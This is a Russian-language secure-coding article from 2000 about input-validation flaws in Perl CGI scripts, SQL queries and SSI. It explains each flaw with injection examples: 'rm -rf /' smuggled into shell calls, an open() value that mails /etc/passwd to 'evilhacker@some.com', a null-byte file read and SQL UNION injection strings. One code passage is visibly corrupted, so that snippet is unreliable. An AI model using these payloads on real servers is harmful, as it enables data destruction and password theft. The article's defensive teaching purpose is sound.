Уязвимости Web-скриптов
                         =======================


i. Вступление

     Интернет пришел в Россию. Это неоспоримый факт.  Еще год - полтора назад
  на редком рекламном щите можно было заметить адрес электронной почты, не то
  что web страницы, а сейчас все объявления пестрят ими. Вместе с ним  пришел
  спрос  на  веб-мастеров,  веб-программистов.  Десятки, сотни людей работают
  сейчас  на  этом  поприще в Москве. Некоторые из  них  получили специальное
  образование,  остальные  изучали  необходимые материалы самостоятельно. Так
  или иначе, многие из них, к сожалению,  просто не задумываются о  проблемах
  безопасности. Эта статья - попытка осветить наиболее частые из них.


ii. Perl

     Пару лет  назад этот язык был  самым популярным средством для  написания
  cgi-скриптов.  Сейчас  ему  на  смену  пришли  asp, php, jsp,  но он еще не
  утратил всей своей былой популярности.  Главным доводом в пользу перехода с
  perl-а на эти новые технологии  была недостаточная  скорость обработки  cgi
  запросов (так называемая проблема "бутылочного горлышка").  Поэтому, сейчас
  perl-скрипты применяются в основном на небольших сайтах,  и, как следствие,
  пишутся  для  единичного  использования,   что   отнюдь   не   повышает  их
  безопасности.  Следует  отметить,  справедливости  ради,  что и  во  многих
  популярных  (как  свободно  распространяемых,   так  и  входящих  в  состав
  коммерческих  продуктов)  скриптах  находят  все  новые  и  новые ошибки  и
  уязвимости.

     Основной   и   наиболее   частой   уязвимостью   cgi-скриптов   является
  недостаточная проверка входных данных. Рассмотрим простейший пример:

       <...skip...>
       open(MAIL,"|sendmail webmaster@some.address.ru -s $subject")
       <...skip...>

     Предположим,  что  переменная  $subject  была  получена  из  cgi-запроса
  пользователя и не прошла должной проверки. Тогда, если  ее  значение  было,
  скажем "test;rm -rf /", perl-интерпретатор вызовет shell и  передаст ему на
  выполнение следующую строку:

       sendmail webmaster@some.address.ru -s test;rm -rf /

     В первую очередь при написании cgi-скрипта на perl следует  понимать,  в
  каком  случае  perl-интерпретатор  осуществляет  вызовы shell или системных
  функций:

       - функции exec() и system(). Их различие состоит в том, что после
         вызова exec() выполнение  скрипта  останавливается,  тогда  как
         вызов system() возвращает после  своего  выполнения  управление
         вызвавшему скрипту. Параметрами обоих функций является  список.
         Первый  элемент  этого  списка  -  программа,  которую  следует
         выполнить, а все последующие - ее параметры вызова.  При  этом,
         согласно документации на интерпретатор perl,  в случае вызова с
         единственным параметром perl проверяет наличие в этом параметре
         метасимволов  shell-интерпретатора,   и  в  случае  их  наличия 
         вызывает этот самый интерпретатор. В противном случае,  а также
         в  случае,  когда в списке находятся несколько элементов,  perl
         использует  системный  вызов  execvp(),  так  как  он  работает
         быстрее  чем  shell.  Считается,  что  в  этом  случае можно не
         проверять  передаваемые параметры на наличие метасимволов,  так
         как этот вызов не умеет их обрабатывать.  Рассмотрим  несколько
         примеров:

            system("ls -l /usr/home");       # Вызов execvp()

            system("ls -l /usr/home/*");     # Вызов shell

            system("ls -l", "/usr/home");    # Вызов execvp()

            system("ls -l", "/usr/home/*");  # Вызов execvp(), сработает
                                             # некорректно, так как не
                                             # будет обработан
                                             # символ '*'.

         Считается, что вызов 

            system("ls","$file ");           # Вызов execvp()

         безопаснее, чем вызов

            system("ls $file");              # Вызов execvp()

         так  как   при   подаче  аргумента  $file,   равного,   скажем,
         "aaa;rm -rf /", второй выполнит команду "rm -rf /",  а первый -
         -  нет.  Однако  следует  помнить,  что,  скажем  интерпретатор
         ActivePerl под Windows всегда выполняет  вызов  shell,  поэтому
         лучше все таки проверять все входные параметры.

       - функция open(). Предназначеная вообще-то для открывания файлов,
         она может также  быть использована для запуска  программ.  Так,
         вызов

            open(FILEHANDLE "|telnet");

         запустит  программу  telnet   и   создаст   handle  FILEHANDLE,
         соответствующий ее стандартному вводу. Аналогично,

            open(FILEHANDLE "telnet|");

         запустит  программу  telnet   и   создаст   handle  FILEHANDLE,
         соответствующий  ее   стандартному   выводу.   Таким   образом,
         возникает возможность того,  что присутствующий в скрипте вызов
         функции open() будет использован не  по  назначению.  Например,
         скрипт

            <...skip...>
            open(TEMPFILE,"/tmp/$username")
            <...skip...>

         получивший   от   пользователя   параметр   $username,   равный
         "mail evilhacker@some.com < /etc/passwd|", отошлет в результате
         файл с паролями по электронной почте.  Поэтому  следует  всюду,
         где это только возможно,  явным образом специфицировать  способ
         открытия файла:

            open(FILEHANDLE ">filename");    # на запись

            open(FILEHANDLE ">>filename");   # на дозапись

            open(FILEHANDLE "^\[\]\(\)\{\}\$\n\r])/\\$1/g;

         В этом случае, получив на вход что-нибудь вроде

            some_data 'rm -rf /'

         мы после обработки имеем

            some_data \'rm -rf /\'

         и  можем  спокойно  использовать  эту  строку  в shell вызовах.
         Однако, получив

            some_data \'rm -rf /\'

         мы после обработки имеем

            some_data \\'rm -rf /\\'

         что уже совсем не так приятно.

       - символ с кодом 0. Интерпретатор perl хранит для  каждой строки
         ее  длину  и не  использует в отличие от большинства системных
         вызовов нулевой  байт как маркер конца строки.  Все бы ничего,
         но когда строка  содержащая такой байт передается  в системный
         вызов в качестве параметра,  вся часть  после  нулевого  байта
         отбрасывается. Так например, подав скрипту вроде

            <...skip...>
            open(TEXT2ECHO,"<$any_txt_file".".txt")
            # откываем текст для дальнейшего вывода пользователем
            <...skip...>
            
         значение  параметра $any_txt_file,  равное "/etc/passwd\0"  мы
         заставим систем вызов fopen отбросить расширение .txt и отрыть
         нужный нам файл.

     Другой  частой   ошибкой   является   отсутсвие   проверки   на  наличие
  последовательности  символов "../"  в  параметрах,  используемых в качестве
  имен открываемых файлов.

     Кроме  того,  следует  помнить  и  учитывать  все  символы,   являющиеся
  служебными  для  вызываемых  скриптом  программ,  так  как многие программы
  имеют, например, функцию вызова shell.


iii. SQL

     На   сегодняшний    день   наиболее   распространными   базами   данных,
  используемыми  в  web-программировании,  можно назвать MySQL,  PostgreSQL и
  MS-SQL. Проблемы, связаные с их  безопасным  использованием  одинаковы  для
  perl,  php  или,  скажем,  asp.   Основная  причина  уязвимостей  та  же  -
  - недостаточная  проверка входных  данных.  Если скрипт выполняет,  скажем,
  такой запрос к БД

       SELECT * FROM UserTB WHERE User=$user

  то, подставив $user, равный "some UNION SELECT * FROM UserTB", получим

       SELECT * FROM UserTB WHERE User=some UNION SELECT * FROM UserTB

  (конечно  MySQL  не  поддерживает запроса  UNION,  но это - только пример).
  Некоторые борятся с этим расстановкой скобок или кавычек:

       SELECT * FROM UserTB WHERE (User=$user)
  или
       SELECT * FROM UserTB WHERE User="$user"

  однако это само по себе слабо спасает положение:

       $user='some) UNION SELECT * FROM UserTB WHERE (USER<>some"
  или
       $user='some" UNION SELECT * FROM UserTB'

     Приемлемым  решением  в  этом  случае  является  расстановка  кавычек  и
  проверка  входных данных  на их отсутсвие. Другая обязательная превентивная
  мера - использование специального пользователя с ограниченными правами  для
  работы  с  базой  данных  (и  ни  в  кое  случае  не  следует  использовать
  пользователя sa).

     Вообще  такого  рода  уязвимости  грозят   не  только  разглашением  или
  изменением содержимого базы данных. В  PostgreSQL  и  MS-SQL  есть  понятие
  хранимых процедур и триггеров, их вызывающих.  Например,  среди  встроенных
  хранимых  процедур  в  MS-SQL,  есть  такие,  которые позволяют принимать и
  получать электронную почту, выполнять команды операционной системы.

     Кроме  того,  по  возможности  не  следует  хранить  в  тексте  скриптов
  какую-либо важную информацию, так как многие недостаточно хорошо написанные
  или сконфигурированные  web-сервера позволяют  злоумышленнику  получить код
  скрипта.  Так,  например,  в  случае  asp  стоит  помещать код, выполняющий
  подсоединение к базе данных, в специальный файл global.asa.


iv. SSI

     Server Side Includes  сами  по себе никакой  опасности  не  представляют
  ввиду своей крайней простоты. Тем не менее, существуют случаи, когда  с  их
  использованием злоумышленник может  получить  несанкционированый  доступ  к
  информации,  хранимой на сервере.  Все  скрипты,  осуществляющие  занесение
  данных  в  chat-ы,  конференции  и  всякие  guestbook-и,  должны  проверять
  заносимую информацию  на предмет наличия  в  ней  SSI-инструкций.  Ситуация
  отягощается тем, что некоторые web-серверы не совсем следуют спецификации и
  могут  исполнять  SSI-инструкции,   которые  по  спецификации  таковыми  не
  являются.

v. Заключение

     В общем и целом,  никогда и ни в коем случае нельзя доверять информации,
  полученной от пользователя. Это относится и к информации, хранимой в hidden
  полях форм,  отсылаемых любыми методами и с любыми проверками HTTP-Referer,
  и к любым  данным прошедшим  любые проверки  на стороне  клиента с помощью,
  скажем, JavaScript. Вся эта информация может быть подменена злоумышленником
  с целью получения несанкционированного доступа к информации на сервере, или
  с целью нарушения нормального функционирования сервера.


vi. Источники

  [p.h.m]       Jordan Dimov "Security Issues in Perl Scripts", P.H.M.,
                Issue 23, Article 02.
  [r.f.p]       Rain Forest Puppy, "Perl CGI problems", Phrack Magazine,
                Vol. 9, Issue 55, File 07.
  [wwwsec]      "The World Wide Web Security FAQ".
                Chapter 7 - Safe Scripting in Perl
                http://www.w3c.org/Security/Faq/wwwsf5.html
  [perlsec]     The Perl Security man page.
  [cgiperl2]    Scott Guelich,et al."CGI Programming with Perl, 2nd Edition"
                O'Reilly. July 2000.


                                                               02:08 30.07.00

                                                                      altsoph